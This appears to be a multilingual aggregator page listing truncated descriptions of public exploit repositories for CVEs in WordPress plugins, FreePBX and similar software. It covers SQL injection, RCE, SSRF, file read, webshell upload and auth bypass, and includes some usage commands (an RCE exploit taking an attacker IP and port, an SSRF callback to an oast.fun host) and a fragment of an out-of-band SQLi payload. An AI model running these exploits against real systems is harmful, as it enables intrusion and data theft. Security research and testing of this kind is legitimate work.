CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE Abusando di CVE-2024-2961 e CVE-2023–26326 per RCE Utilizzo root@kitploit: git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port Analisi e...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 versão5.8.3 caminho: http://your target/wp-admin/admin-ajax.php O tipo de injeção é out-of-band, você precisa especificar o dnslog você mesmo e substituir ceye.io POST- DADOS："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select...

CVE-2022-21661

ماسح WordPress CVE-2022-21661 الاستخدام root@kitploit: python wordpressscanner.py -H -p -ssl -proxy -path المساعدة root@kitploit: ماسح WordPress لـ CVE-2022-21661 options: -h, --help عرض رسالة المساعدة هذه والخروج -H HOST, --host HOST المضيف أو عنوان IP -p PORT, --port PORT رقم المنفذ -ssl,...

cve-2025-1323

cve-2025-1323 Iniezione SQL nel plugin WP-Recall ⚠️ Avvertenze legali Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e uso educativo. Non utilizzare su sistemi senza autorizzazione esplicita. L'uso improprio potrebbe essere illegale. ✅ Requisiti Python 3.x Modulo...

CVE-2025-57819_FreePBX

🛡️ CVE-2025-57819 – FreePBX में अप्रमाणित SQL इंजेक्शन से RCE PoC इस रिपॉजिटरी में दो Python प्रूफ-ऑफ-कॉन्सेप्ट PoC स्क्रिप्ट हैं जो CVE-2025-57819 को लक्षित करती हैं, जो FreePBX में एक महत्वपूर्ण अप्रमाणित SQL इंजेक्शन भेद्यता है। 🧠 भेद्यता के बारे में CVE-2025-57819 CVE-2025-57819 FreePBX के कई...

CVE-2022-0169

CVE-2022-0169 — WordPress Photo Gallery SQLi PoC Dies ist ein einfacher Python-Proof-of-Concept PoC für CVE-2022-0169 , eine SQL-Injection-Schwachstelle im WordPress-Photo-Gallery-Plugin. Was es tut Prüft die WordPress-Version falls verfügbar Nutzt den verwundbaren admin-ajax.php-Endpunkt aus Dum...

CVE-2026-6433

CVE-2026-6433 — प्रमाण-अवधारणा FlipperCode — Custom CSS, JS & PHP · अप्रमाणित SQL इंजेक्शन → RCE eval के माध्यम से प्रभावित: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPress प्लगइन सतह admin-ajax.php के माध्यम से एक नज़र में...

CVE-2024-2961-Remote-File-Read

CVE-2024-2961 Lettura Remota di File Questo script dimostra come sfruttare una vulnerabilità nei sistemi che utilizzano la libreria iconv quando gestisce male le conversioni di codifica dei caratteri, come descritto in CVE-2024-2961. Permette a un attaccante di leggere file arbitrari dal server...

SSI-CVE-2022-21661

SSI-CVE-2022-21661 Secondo compito di Sicurezza dei Sistemi Informativi Studiare e sfruttare la vulnerabilità CVE-2022-21661 che consente SQL Injection tramite richieste POST dei plugin alle versioni di WordPress inferiori alla 5.8.3. Configurazione dell'ambiente Per avviare e configurare...

CVE-2022-28590

CVE-2022-28590 La scoperta originale e il PoC manuale provengono da tuando243: Esiste una vulnerabilità di esecuzione remota di codice RCE in Pixelimity 1.0 tramite admin/admin-ajax.php?action=installtheme. Questo PoC carica una semplice webshell per un'ulteriore esecuzione remota di codice. Ques...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - Nicht authentifizierte SSRF Beschreibung Fusion Builder ist ein WordPress-Plugin, das Benutzern das Erstellen und Bearbeiten von Seiten mit einer Drag-and-Drop-Oberfläche ermöglicht. Es ist anfällig für eine nicht authentifizierte SSRF, die es einem Angreife...

CVE-2024-3673

CVE-2024-3673 Exploit CVE-2024-3673 : Inclusion de fichier local dans le plugin WordPress Web Directory Free avant la version 1.7.3 Aperçu CVE-2024-3673 décrit une vulnérabilité critique dans le plugin WordPress Web Directory Free versions antérieures à 1.7.3. Le plugin ne valide pas un paramètre...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE 익스플로잇 저자: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 이 저장소는 취약한 WordPress 플러그인의 인증되지 않은 임의 파일 업로드 취약점으로, 원격 코드 실행RCE으로 이어지는 CVE-2024-51793에 대한 개념 증명 익스플로잇을 포함합니다. 스크립트가 수행하는 작업 이 스크립트는 인증 없이 PHP 페이로드를 업로드하기 위해 취약한 admin-ajax.php 액션을 악용합니다...

CVE-2021-24762

Aperçu Ce dépôt documente la détection de CVE-2021-24762, une vulnérabilité identifiée sur une instance WordPress via un scan HTTP. La vulnérabilité a été découverte sur le point de terminaison AJAX de WordPress : /wp-admin/admin-ajax.php Ce point de terminaison est couramment utilisé par les...

CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

CVE-2026-1729 - AdForest WordPress Authentifizierungs-Bypass PoC Beschreibung Einfacher Proof of Concept für CVE-2026-1729 PoC - Authentifizierungs-Bypass-Schwachstelle im AdForest WordPress-Theme. Authored by f3ds cr3w est 2oo2 blog Funktionen ✅ Direkter Admin-Zugriff ohne Anmeldedaten ✅...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - Beliebiges Dateilesen 🔥 Schwachstellenübersicht Das WordPress-Plugin File Away in Version = 3.9.9.0.1 ist anfällig für eine unauthentifizierte Schwachstelle zum beliebigen Lesen von Dateien. Dies ermöglicht es Angreifern, über eine manipulierte...

CVE-2024-33911

The School Management 10.3.4 - SQL Injection post-autenticazione Titolo Exploit: The School Management 10.3.4 - SQL Injection post-autenticazione Data: 29 aprile 2024 Autore dell'exploit: Ivan Spiridonov xbz0n Homepage del vendor: https://theschool-management.com Versione: 10.3.4 Testato su: Ubun...

CVE-2024-6244

🚀 pz-frontend-manager = 1.0.5 - Exploit CSRF dell'immagine del profilo 🛠️ Descrizione Questo script sfrutta una vulnerabilità CSRF nel plugin WordPress pz-frontend-manager versioni = 1.0.5 per modificare l'immagine del profilo di un utente autenticato senza il suo consenso. 🔴 CVE-2024-6244 Il...

typehub-exploiter

typehub-exploiter GILANG - Exploiter per CVE-2021-25094 riferimento : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ payload : site.com/wp-admin/admin-ajax.php percorso del bug : site.com/wp-content/uploads/typehub/custom/ Ringraziamenti a : Ibnudz, Dark clown security...

CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder Esempio: root@kitploit: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Usa Interact.sh o Burp Collaborator per ricevere il callback. 📋 Output di esempio root@kitploit: Fetching nonce from target... Sending SSRF payload to...